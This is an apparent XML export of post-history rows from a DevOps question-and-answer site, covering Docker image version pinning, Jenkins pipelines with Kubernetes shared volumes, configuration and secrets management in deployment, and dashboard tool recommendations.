  <row Id="14715" PostHistoryTypeId="2" PostId="4692" RevisionGUID="5daeefc0-40b9-4c1c-9d75-e1c2b88af182" CreationDate="2018-08-04T23:15:36.290" UserId="4175" Text="Generally, when referencing 3rd party packages (Docker base images, Maven dependencies, Ruby Gems etc.) it is worthwhile to be as specific as possible. You want to avoid randomly upgrading dependencies at a later time, just because there's a newer version out there, just because you only specified a prefix of the actual 3rd party release number.&#xD;&#xA;&#xD;&#xA;I personally would do whatever it takes to make sure that I get the same upstream version on every build, forever, and that upgrading always is an activity I have to do, that is never done for me. For example, in Ruby, the `bundler` keeps specific versions in the `Gemfile.lock`. While the `Gemfile` can specifiy vague versions (like &quot;~&gt; 3.1&quot; giving you anything &quot;&gt;= 3.1 and &lt; 4.0&quot;), whenever a version is picked by the automatic resolving, the actual immutable version is fixed in the `Gemfile.lock` and will never change on its own.&#xD;&#xA;&#xD;&#xA;The reasoning is very simple - we use tools like Docker specifically to get out of the upgrade/version hell we had in the past; to make sure that we have the same versions on all environments, and to make changes visible (in the form of `git` commits etc.). Introducing the same all over, by having &quot;floating&quot; upstream version numbers, would really be a shame.&#xD;&#xA;&#xD;&#xA;There is really nothing elaborate like that Ruby `Gemfile.lock`, for Docker base images, so in this case you have to look at the images you are pulling; they should document which tags are considered permanent.  Then just specify those. And stay clear of `latest`, obviously." ContentLicense="CC BY-SA 4.0" />
  <row Id="14716" PostHistoryTypeId="5" PostId="4692" RevisionGUID="1d6a78bb-d0f1-47a0-aa75-bf866d1caa0b" CreationDate="2018-08-04T23:21:10.987" UserId="4175" Comment="added 300 characters in body" Text="Generally, when referencing 3rd party packages (Docker base images, Maven dependencies, Ruby Gems etc.) it is worthwhile to be as specific as possible. You want to avoid randomly upgrading dependencies at a later time, just because there's a newer version out there, just because you only specified a prefix of the actual 3rd party release number.&#xD;&#xA;&#xD;&#xA;I personally would do whatever it takes to make sure that I get the same upstream version on every build, forever, and that upgrading always is an activity I have to d, that is never done for me. For example, in Ruby, the `bundler` keeps specific versions in the `Gemfile.lock`. While the `Gemfile` can specifiy vague versions (like &quot;~&gt; 3.1&quot; giving you anything &quot;&gt;= 3.1 and &lt; 4.0&quot;), whenever a version is picked by the automatic resolving, the actual immutable version is fixed in the `Gemfile.lock` and will never change on its own.&#xD;&#xA;&#xD;&#xA;The reasoning is very simple - we use tools like Docker specifically to get out of the upgrade/version hell we had in the past; to make sure that we have the same versions on all environments, and to make changes visible (in the form of `git` commits etc.). Introducing the same all over, by having &quot;floating&quot; upstream version numbers, would really be a shame.&#xD;&#xA;&#xD;&#xA;There is really nothing elaborate like that Ruby `Gemfile.lock`, for Docker base images, so in this case you have to look at the images you are pulling; they should document which tags are considered permanent.  Then just specify those. And stay clear of `latest`, obviously.&#xD;&#xA;&#xD;&#xA;For your particular example, to pick at random, a version like `3.6.6-alpine3.7` seems to be pretty fully specified. I'd expect not much more than bugfixes from upstream. But if I were especially paranoid on that day, I might specificy a `@digest` for the FROM (I'm not that paranoid normally...)." ContentLicense="CC BY-SA 4.0" />
  <row Id="14717" PostHistoryTypeId="2" PostId="4693" RevisionGUID="697cf95f-3adc-45f7-afbf-d1031efc1dd6" CreationDate="2018-08-05T04:42:15.217" UserId="9107" Text="I am new to the DevOps world but I am trying to build a pipeline using Jenkins and Docker. &#xD;&#xA;&#xD;&#xA;I have Jenkins building the docker image by:&#xD;&#xA;&#xD;&#xA;    docker build -f Dockerfile --build-arg jenkins_jar_file=${JENKINS_JAR_FILE} -t ${DOCKER_IMAGE} .&#xD;&#xA;&#xD;&#xA;Where JENKINS_JAR_FILE is a variable that points to the jar file produced by Jenkins&#xD;&#xA;&#xD;&#xA;This is my Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM ~~container_on_private_registry~~&#xD;&#xA;    USER root&#xD;&#xA;    WORKDIR /root&#xD;&#xA;    ARG jenkins_jar_file&#xD;&#xA;    RUN mkdir -p /root/app/app.jar&#xD;&#xA;    COPY ${jenkins_jar_file} /root/app/app.jar&#xD;&#xA;    ENTRYPOINT [&quot;java&quot;, &quot;-jar&quot;, &quot;/root/app/app.jar&quot;]&#xD;&#xA;&#xD;&#xA;However, I feel like the image is not being built with the right JAR? &#xD;&#xA;I run docker images and see my image - but it says &quot;Created 4 Days ago&quot;&#xD;&#xA;I see the same thing when I run docker images histroy for the entrypoint step. &#xD;&#xA;&#xD;&#xA;When I actually try to run the image against a container, it for some odd reason tries to run against a jar which doesn't exist in the image. Instead it returns the following error:&#xD;&#xA;/root/app-1.0-20180729.204127-14 &#xD;&#xA;&#xD;&#xA;Any help appreaciated :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14718" PostHistoryTypeId="1" PostId="4693" RevisionGUID="697cf95f-3adc-45f7-afbf-d1031efc1dd6" CreationDate="2018-08-05T04:42:15.217" UserId="9107" Text="Docker build not picking up built jar?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14719" PostHistoryTypeId="3" PostId="4693" RevisionGUID="697cf95f-3adc-45f7-afbf-d1031efc1dd6" CreationDate="2018-08-05T04:42:15.217" UserId="9107" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;dockerfile&gt;&lt;java&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14720" PostHistoryTypeId="4" PostId="4670" RevisionGUID="b23d9f0b-c385-4354-ad00-8fd1df0c87f7" CreationDate="2018-08-05T06:33:50.357" UserId="40" Comment="edited title" Text="How to access Worpdress and AngularJs code in one url?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14721" PostHistoryTypeId="50" PostId="4106" RevisionGUID="8bb36636-a6ca-43b1-b423-b9cadacc5ce9" CreationDate="2018-08-05T07:01:09.467" UserId="-1" />
  <row Id="14722" PostHistoryTypeId="50" PostId="4453" RevisionGUID="cd84eec9-8948-4ce4-b92e-3c29dd9a31d1" CreationDate="2018-08-05T13:00:59.777" UserId="-1" />
  <row Id="14727" PostHistoryTypeId="2" PostId="4695" RevisionGUID="05d6e315-3298-4ce2-a207-c63181b21a1f" CreationDate="2018-08-05T13:57:36.347" UserId="8189" Text="I have a Jenkins Pipeline using Kubernetes Agent.&#xD;&#xA;&#xD;&#xA;I schedule multiple containers in my pod template.&#xD;&#xA;&#xD;&#xA;I recently wanted to add volumes that would be shared some of the containers and am having difficulties.&#xD;&#xA;&#xD;&#xA;I need to know how to create a volume that will be shared between 2 or more containers in a pod. That volume should mount to a specific path on each container.&#xD;&#xA;&#xD;&#xA;**Specifics**:&#xD;&#xA;&#xD;&#xA; - Using GCE (Google Cloud Engine) with Kubernetes Jenkins&#xD;&#xA; - Using emptyDir volumes&#xD;&#xA;&#xD;&#xA;There also seems to be a *severe lack of documentation* for this. So any direction on that would also be appreciated. The [documentation I did find][1] says that the way to do this is to define [volumes in the pipeline that will be shared by all containers.][2]&#xD;&#xA;&#xD;&#xA;**Sample Jenkinsfile**:&#xD;&#xA;&#xD;&#xA;Below is not my actual pipeline, but it recreates the issue.&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;        kubernetes {&#xD;&#xA;          label 'test-pod'&#xD;&#xA;          defaultContainer 'jnlp'&#xD;&#xA;          yaml &quot;&quot;&quot;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: frontend-test&#xD;&#xA;        image: centos:7&#xD;&#xA;        command:&#xD;&#xA;        - cat&#xD;&#xA;        tty: true&#xD;&#xA;      - name: backend-test&#xD;&#xA;        image: centos:7&#xD;&#xA;        command:&#xD;&#xA;        - cat&#xD;&#xA;        tty: true	&#xD;&#xA;      volumes:&#xD;&#xA;      - name: sharedvolume&#xD;&#xA;        emptyDir: {}&#xD;&#xA;        mountPath: '/opt/app/shared'&#xD;&#xA;    &quot;&quot;&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Test Pipeline Configuration') {&#xD;&#xA;                steps {&#xD;&#xA;    				container('frontend-test') {&#xD;&#xA;    					sh 'touch /opt/app/shared/test_file'&#xD;&#xA;    				}&#xD;&#xA;    				container('backend-test') {&#xD;&#xA;    					sh 'ls /opt/app/shared/test_file ; echo $?'&#xD;&#xA;    				}&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Result**:&#xD;&#xA;&#xD;&#xA;    [Pipeline] podTemplate&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Still waiting to schedule task&#xD;&#xA;    All nodes of label ‘test-pod’ are offline&#xD;&#xA;    Agent test-pod-5t0gj-wln8d is provisioned from template Kubernetes Pod Template&#xD;&#xA;    Agent specification [Kubernetes Pod Template] (test-pod): &#xD;&#xA;    &#xD;&#xA;    Running on test-pod-5t0gj-wln8d in /home/jenkins/workspace/pipeline-test&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] container&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Test Pipeline Configuration)&#xD;&#xA;    [Pipeline] container&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [pipeline-test] Running shell script&#xD;&#xA;    + touch /opt/app/shared/test_file&#xD;&#xA;    touch: cannot touch '/opt/app/shared/test_file': No such file or directory&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // container&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // container&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // podTemplate&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    ERROR: script returned exit code 1&#xD;&#xA;    Finished: FAILURE&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/kubernetes-plugin#container-configuration&#xD;&#xA;  [2]: https://github.com/jenkinsci/kubernetes-plugin#pod-and-container-template-configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="14728" PostHistoryTypeId="1" PostId="4695" RevisionGUID="05d6e315-3298-4ce2-a207-c63181b21a1f" CreationDate="2018-08-05T13:57:36.347" UserId="8189" Text="Jenkins Pipeline Kubernetes Agent shared Volumes" ContentLicense="CC BY-SA 4.0" />
  <row Id="14729" PostHistoryTypeId="3" PostId="4695" RevisionGUID="05d6e315-3298-4ce2-a207-c63181b21a1f" CreationDate="2018-08-05T13:57:36.347" UserId="8189" Text="&lt;kubernetes&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14730" PostHistoryTypeId="2" PostId="4696" RevisionGUID="846a02fb-277c-4b50-88ba-15a396581655" CreationDate="2018-08-05T13:57:36.347" UserId="8189" Text="To solve this, you need to include the volume mounts in the containers [described here][3]:&#xD;&#xA;&#xD;&#xA;**Sample Jenkinsfile**:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;        kubernetes {&#xD;&#xA;          label 'test-pod'&#xD;&#xA;          defaultContainer 'jnlp'&#xD;&#xA;          yaml &quot;&quot;&quot;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: frontend-test&#xD;&#xA;        image: centos:7&#xD;&#xA;        command:&#xD;&#xA;        - cat&#xD;&#xA;        tty: true&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - mountPath: '/opt/app/shared'&#xD;&#xA;          name: sharedvolume&#xD;&#xA;      - name: backend-test&#xD;&#xA;        image: centos:7&#xD;&#xA;        command:&#xD;&#xA;        - cat&#xD;&#xA;        tty: true   &#xD;&#xA;        volumeMounts:&#xD;&#xA;        - mountPath: '/opt/app/shared'&#xD;&#xA;          name: sharedvolume&#xD;&#xA;      volumes:&#xD;&#xA;      - name: sharedvolume&#xD;&#xA;        emptyDir: {}&#xD;&#xA;    &quot;&quot;&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Test Pipeline Configuration') {&#xD;&#xA;                steps {&#xD;&#xA;                    container('frontend-test') {&#xD;&#xA;                        sh 'touch /opt/app/shared/test_file'&#xD;&#xA;                    }&#xD;&#xA;                    container('backend-test') {&#xD;&#xA;                        sh 'ls /opt/app/shared/test_file ; echo $?'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Result**:&#xD;&#xA;&#xD;&#xA;This solved the problem.&#xD;&#xA;&#xD;&#xA;    [Pipeline] podTemplate&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Still waiting to schedule task&#xD;&#xA;    All nodes of label ‘test-pod’ are offline&#xD;&#xA;    Agent test-pod-wv12q-brfxj is provisioned from template Kubernetes Pod Template&#xD;&#xA;    Agent specification [Kubernetes Pod Template] (test-pod): &#xD;&#xA;    &#xD;&#xA;    Running on test-pod-wv12q-brfxj in /home/jenkins/workspace/pipeline-test&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] container&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Test Pipeline Configuration)&#xD;&#xA;    [Pipeline] container&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [pipeline-test] Running shell script&#xD;&#xA;    + touch /opt/app/shared/test_file&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // container&#xD;&#xA;    [Pipeline] container&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    [pipeline-test] Running shell script&#xD;&#xA;    + ls /opt/app/shared/test_file&#xD;&#xA;    /opt/app/shared/test_file&#xD;&#xA;    + echo 0&#xD;&#xA;    0&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // container&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // container&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // podTemplate&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;  [3]: https://cloud.google.com/kubernetes-engine/docs/concepts/volumes#using_volumes" ContentLicense="CC BY-SA 4.0" />
  <row Id="14731" PostHistoryTypeId="2" PostId="4697" RevisionGUID="7d0228de-de3d-4b8d-9cd3-9db58fcec2d1" CreationDate="2018-08-05T14:43:58.827" UserId="9111" Text="I guess the point here is that you want to keep the deployment approach the same across all environments and update configuration in one place.&#xD;&#xA;&#xD;&#xA;If you have had a look at the [12 factor app][1] it states application config should live in the environment e.g. vault, config store, AWS Parameter Store. Kubernetes secrets scoped to a namespace. &#xD;&#xA;&#xD;&#xA;Environment variables are also not considered very secure as they can be inspected at runtime. &#xD;&#xA;&#xD;&#xA;I prefer option *3* for a number of reasons:&#xD;&#xA;&#xD;&#xA; 1. Application would pull configuration from config store at runtime.&#xD;&#xA; 2. Application config can be changed dynamically (no need to re-deploy the app)&#xD;&#xA; 3. No need to add logic to your deployment scripts that pulls secrets from a config store and injects then into the compose file during deployment.&#xD;&#xA; 4. Your deployment orchestration tool does not need access to your applications secrets.&#xD;&#xA;&#xD;&#xA;On the other hand:&#xD;&#xA;&#xD;&#xA; 1. Application will need to be updated to support pulling config from a &#xD;&#xA;store. This might make the application not cloud agnostic.&#xD;&#xA;&#xD;&#xA;On a side not, if you're just deploying a few containers for a simple application and k8 is not suitable why don't you have a look at [ECS Fargate][2]? No need to manage any underlying infrastructure. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://12factor.net/&#xD;&#xA;  [2]: https://aws.amazon.com/fargate/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14732" PostHistoryTypeId="5" PostId="4697" RevisionGUID="15db84e5-422c-4a99-a139-61e29d54f168" CreationDate="2018-08-05T14:49:11.473" UserId="9111" Comment="added 31 characters in body" Text="I guess the point here is that you want to keep the deployment approach the same across all environments and update configuration in one place.&#xD;&#xA;&#xD;&#xA;If you have had a look at the [12 factor app][1] it states application config should live in the environment e.g. vault, config store, AWS Parameter Store. Kubernetes secrets scoped to a namespace. &#xD;&#xA;&#xD;&#xA;Environment variables are also not considered very secure as they can be inspected at runtime. &#xD;&#xA;&#xD;&#xA;I prefer option *3* for a number of reasons:&#xD;&#xA;&#xD;&#xA; 1. Application would pull configuration from config store at runtime.&#xD;&#xA; 2. Application config can be changed dynamically (no need to re-deploy the app)&#xD;&#xA; 3. No need to add logic to your deployment scripts that pulls secrets from a config store and injects then into the compose file during deployment.&#xD;&#xA; 4. Your deployment orchestration tool does not need access to your applications secrets.&#xD;&#xA;&#xD;&#xA;On the other hand:&#xD;&#xA;&#xD;&#xA; 1. Application will need to be updated to support pulling config from a &#xD;&#xA;store. This might make the application not cloud agnostic.&#xD;&#xA;&#xD;&#xA;On a side not (not related to your question), if you're just deploying a few containers for a simple application and k8 is not suitable why don't you have a look at [ECS Fargate][2]? No need to manage any underlying infrastructure. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://12factor.net/&#xD;&#xA;  [2]: https://aws.amazon.com/fargate/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14733" PostHistoryTypeId="5" PostId="4697" RevisionGUID="37e98fdd-0164-4bde-aea5-00836b1ea721" CreationDate="2018-08-05T14:57:09.697" UserId="9111" Comment="added 22 characters in body" Text="I guess the point here is that you want to keep the deployment approach the same across all environments and update configuration in one place.&#xD;&#xA;&#xD;&#xA;If you have had a look at the [12 factor app][1] it states application config should live in the environment e.g. vault, config store, AWS Parameter Store. Kubernetes secrets scoped to a namespace. &#xD;&#xA;&#xD;&#xA;Environment variables are also not considered very secure as they can be inspected at runtime. &#xD;&#xA;&#xD;&#xA;I prefer option *3* for a number of reasons:&#xD;&#xA;&#xD;&#xA; 1. Application would pull configuration from config store at runtime (AWS Parameter store).&#xD;&#xA; 2. Application config can be changed dynamically (no need to re-deploy the app)&#xD;&#xA; 3. No need to add logic to your deployment scripts that pulls secrets from a config store and injects then into the compose file during deployment.&#xD;&#xA; 4. Your deployment orchestration tool does not need access to your applications secrets.&#xD;&#xA;&#xD;&#xA;On the other hand:&#xD;&#xA;&#xD;&#xA; 1. Application will need to be updated to support pulling config from a &#xD;&#xA;store. This might make the application not cloud agnostic.&#xD;&#xA;&#xD;&#xA;On a side not (not related to your question), if you're just deploying a few containers for a simple application and k8 is not suitable why don't you have a look at [ECS Fargate][2]? No need to manage any underlying infrastructure. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://12factor.net/&#xD;&#xA;  [2]: https://aws.amazon.com/fargate/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14734" PostHistoryTypeId="2" PostId="4698" RevisionGUID="ceb2afe5-827b-4468-89b8-84595f803d28" CreationDate="2018-08-05T15:19:15.650" UserId="9111" Text="Before this can be answered I think we need understand what does a version mean to you? &#xD;&#xA;&#xD;&#xA; - Is it a customer facing product version (version 8.1.2 contains these features and bug fixes)? &#xD;&#xA; - Or is it just for highlighting what version of the code is deployed where? &#xD;&#xA;&#xD;&#xA;If it is the later you could just use the commit id and tag the commit with Jenkins build number. However, if you loose your Jenkins build history it gets slightly confusing therefore some form of CMDB managed by a container platform like k8 would be best." ContentLicense="CC BY-SA 4.0" />
  <row Id="14735" PostHistoryTypeId="2" PostId="4699" RevisionGUID="fb2c5a00-b7cd-494d-83f3-820bb05fe93c" CreationDate="2018-08-05T15:36:42.017" UserId="9111" Text="This functionality is built straight into travis. Have a look at [here][1]. &#xD;&#xA;&#xD;&#xA;Secondly you should not need to specify a branch as part of your make script as travis will triggered on a specific branch and therefore that revision would already be checked out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.travis-ci.com/user/multi-os/#TRAVIS_OS_NAME-environment-variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="14736" PostHistoryTypeId="2" PostId="4700" RevisionGUID="048f4649-0989-4bba-815e-15c9835a2e94" CreationDate="2018-08-05T15:40:50.750" UserId="9111" Text="I assume you would like to run locally to test logic? If so there is a [unit testing framework][1] for Jenkins declarative / scripted pipeline. I have not personally used it but this would enable me to test stubbed logic locally.&#xD;&#xA;&#xD;&#xA;Alternatively, as you're no ta fan of GUIs you could have a look at [Jenkins X][2] which has a very powerful CLI and is more gitops driven.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/JenkinsPipelineUnit&#xD;&#xA;  [2]: https://jenkins.io/blog/2018/03/19/introducing-jenkins-x/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14737" PostHistoryTypeId="4" PostId="4684" RevisionGUID="29dd1b3b-a083-4cc0-b200-6fa5dbd7c798" CreationDate="2018-08-05T17:36:09.730" UserId="9111" Comment="Improved title as ambiguous" Text="Continuous Deployment best practices for managing application configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="14738" PostHistoryTypeId="24" PostId="4684" RevisionGUID="29dd1b3b-a083-4cc0-b200-6fa5dbd7c798" CreationDate="2018-08-05T17:36:09.730" Comment="Proposed by 9111 approved by -1 edit id of 742" ContentLicense="CC BY-SA 4.0" />
  <row Id="14739" PostHistoryTypeId="5" PostId="4684" RevisionGUID="97e3fb8b-57e5-4db0-8002-4dfc20c3e193" CreationDate="2018-08-05T17:36:09.730" UserId="40" Comment="added 6 characters in body" Text="My CD pipeline:  &#xD;&#xA;&#xD;&#xA; 1. Get Docker image (created and pushed during CI stage).&#xD;&#xA; 2. Copy docker-compose .yml template to target server.&#xD;&#xA; 3. Run the app.&#xD;&#xA;&#xD;&#xA;Let's go straight to the 3rd point. I can run the app using docker-compose up e.g., but I have no idea how to handle configuration. Target server is a Ubuntu Server created by Chief on AWS, I have an access to all AWS services like Parameter Store etc.  &#xD;&#xA;&#xD;&#xA;So here are my ideas about managing configurations:&#xD;&#xA;&#xD;&#xA; 1. save secrets to configuration file before running the app and attach this file to specific location in docker-compose template (I don't like this solution, I can handle this by some bash script that inject secrets to file).&#xD;&#xA; 2. set environment variables before running the app (I talked with some DevOps and basically they like this solution).&#xD;&#xA; 3. get secrets from AWS Parameter Store (unfortunately I can't have an access by role management, only by key which I need to set on server by env or in config file).&#xD;&#xA;&#xD;&#xA;How does managing configuration look like in real case scenarios? I'm worried about case of server crash or something similar. 1st solution will survive this, but in case of 2nd and 3rd ones the environment variables will be lost after crash/reboot. What is the best solution here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14740" PostHistoryTypeId="2" PostId="4701" RevisionGUID="a5dd3bd8-7c83-4a35-9c17-0b1719e5423a" CreationDate="2018-08-05T17:44:01.290" UserId="9113" Text="Can you recommend a free tool or GitHub project that is designed for an individual to keep up/aware of their daily tasks and operations?&#xA;&#xA;For example:&#xA; - Shows perf metrics from running azure VMs in graphs or tables&#xA; - Shows events from application insights&#xA; - Ability to configure workflows that execute some code (like javascript on node) with a click of a button&#xA;- Call a rest API with parameters with a click of a button&#xA;- List my work items, PRs, build status from VSTS&#xA;- Show a filtered view of my mailbox on Office 365 that I configure to show important mails from the team or boss&#xA;&#xA;I'm hoping that this tool would either be browser based or work as a Windows client.&#xA;&#xA;I'm sure no tool exists that meets all these requirements. So if I had to build something myself then are there any good platforms that allow easy customization to make these things happen?&#xA;&#xA;Any pointers are appreciated! " ContentLicense="CC BY-SA 4.0" />
  <row Id="14741" PostHistoryTypeId="1" PostId="4701" RevisionGUID="a5dd3bd8-7c83-4a35-9c17-0b1719e5423a" CreationDate="2018-08-05T17:44:01.290" UserId="9113" Text="Software/devops engineer's personal dashboard recomendations" ContentLicense="CC BY-SA 4.0" />
  <row Id="14742" PostHistoryTypeId="3" PostId="4701" RevisionGUID="a5dd3bd8-7c83-4a35-9c17-0b1719e5423a" CreationDate="2018-08-05T17:44:01.290" UserId="9113" Text="&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14743" PostHistoryTypeId="50" PostId="4461" RevisionGUID="f7621a3c-e73f-4144-9172-0c4539664d6f" CreationDate="2018-08-05T18:02:05.410" UserId="-1" />
  <row Id="14744" PostHistoryTypeId="2" PostId="4702" RevisionGUID="4178039c-770a-4552-9352-181720671695" CreationDate="2018-08-05T18:50:02.110" UserId="228" Text="I've done this before. Essentially you can use the [Jenkins CLI][1] to import/export jobs, which will allow you to create and/or update a job with the definition you want to run. Be it JenkinsFile or some groovy script or whatever. Check this [blog][2] for details.&#xD;&#xA;&#xD;&#xA;Once you (re)define the job, you will simply remotely execute it using the same Jenkins CLI. You can check the progress of the job from CLI and even read the logs to see progress. I cannot share the code, as the copyright is owned by one of my previous employers, but it is easy to recreate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Jenkins+CLI&#xD;&#xA;  [2]: http://lifuzu.com/blog/2014/04/24/playing-with-jenkins-create-job/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14745" PostHistoryTypeId="50" PostId="3575" RevisionGUID="b5788715-b120-4dc7-8f3b-aa1714fefd11" CreationDate="2018-08-05T21:01:28.047" UserId="-1" />
  <row Id="14746" PostHistoryTypeId="50" PostId="2412" RevisionGUID="41aa7e40-e4dc-4b8b-83b3-f45c3fa01fe8" CreationDate="2018-08-05T22:00:26.457" UserId="-1" />
  <row Id="14747" PostHistoryTypeId="2" PostId="4703" RevisionGUID="2bc58ffe-d6aa-48e1-8203-00fcdcdbc5fd" CreationDate="2018-08-05T22:34:08.527" UserId="8691" Text="For all of your read-only dashboard needs, there is [Grafana][1] with multitude of [plugins][2], data sources and visualizations (tables, charts etc). You can also program your custom data sources pretty easily with official &quot;[simple-json-datasource][3]&quot; plugin.&#xD;&#xA;&#xD;&#xA;By default, Grafana does not support buttons or other kind of form/action stuff on its own. Grafana is all about visualizing data, not modifying it. Yet, while I haven't tried it myself, Grafana supports [Text/HTML/Markdown panels][4], I think you can implement any JavaScript logic inside those panels.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://grafana.com/&#xD;&#xA;  [2]: https://grafana.com/plugins&#xD;&#xA;  [3]: https://github.com/grafana/simple-json-datasource&#xD;&#xA;  [4]: http://docs.grafana.org/features/panels/text/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14748" PostHistoryTypeId="5" PostId="4701" RevisionGUID="f73dbec7-0010-40fa-8cbb-5f85b8ce1689" CreationDate="2018-08-06T03:50:32.807" UserId="8691" Comment="list renders correctly now" Text="Can you recommend a free tool or GitHub project that is designed for an individual to keep up/aware of their daily tasks and operations?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA; - Shows perf metrics from running azure VMs in graphs or tables&#xD;&#xA; - Shows events from application insights&#xD;&#xA; - Ability to configure workflows that execute some code (like javascript on node) with a click of a button&#xD;&#xA; - Call a rest API with parameters with a click of a button&#xD;&#xA; - List my work items, PRs, build status from VSTS&#xD;&#xA; - Show a filtered view of my mailbox on Office 365 that I configure to show important mails from the team or boss&#xD;&#xA;&#xD;&#xA;I'm hoping that this tool would either be browser based or work as a Windows client.&#xD;&#xA;&#xD;&#xA;I'm sure no tool exists that meets all these requirements. So if I had to build something myself then are there any good platforms that allow easy customization to make these things happen?&#xD;&#xA;&#xD;&#xA;Any pointers are appreciated! " ContentLicense="CC BY-SA 4.0" />
  <row Id="14749" PostHistoryTypeId="24" PostId="4701" RevisionGUID="f73dbec7-0010-40fa-8cbb-5f85b8ce1689" CreationDate="2018-08-06T03:50:32.807" Comment="Proposed by 8691 approved by -1 edit id of 743" ContentLicense="CC BY-SA 4.0" />
  <row Id="14750" PostHistoryTypeId="5" PostId="4701" RevisionGUID="34137eaf-855b-43d8-b56a-9034d33a91de" CreationDate="2018-08-06T03:50:32.807" UserId="40" Comment="deleted 19 characters in body" Text="Can you recommend a free tool or GitHub project that is designed for an individual to keep up/aware of their daily tasks and operations?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA; - Show perf metrics from running azure VMs in graphs or tables&#xD;&#xA; - Show events from application insights&#xD;&#xA; - Ability to configure workflows that execute some code (like javascript on node) with a click of a button&#xD;&#xA; - Call a rest API with parameters with a click of a button&#xD;&#xA; - List my work items, PRs, build status from VSTS&#xD;&#xA; - Show a filtered view of my mailbox on Office 365 that I configure to show important mails from the team or boss&#xD;&#xA;&#xD;&#xA;I'm hoping that this tool would either be browser based or work as a Windows client.&#xD;&#xA;&#xD;&#xA;I'm sure no tool exists that meets all these requirements. So if I had to build something myself then are there any good platforms that allow easy customization to make these things happen?&#xD;&#xA;&#xD;&#xA;Any pointers?" ContentLicense="CC BY-SA 4.0" />
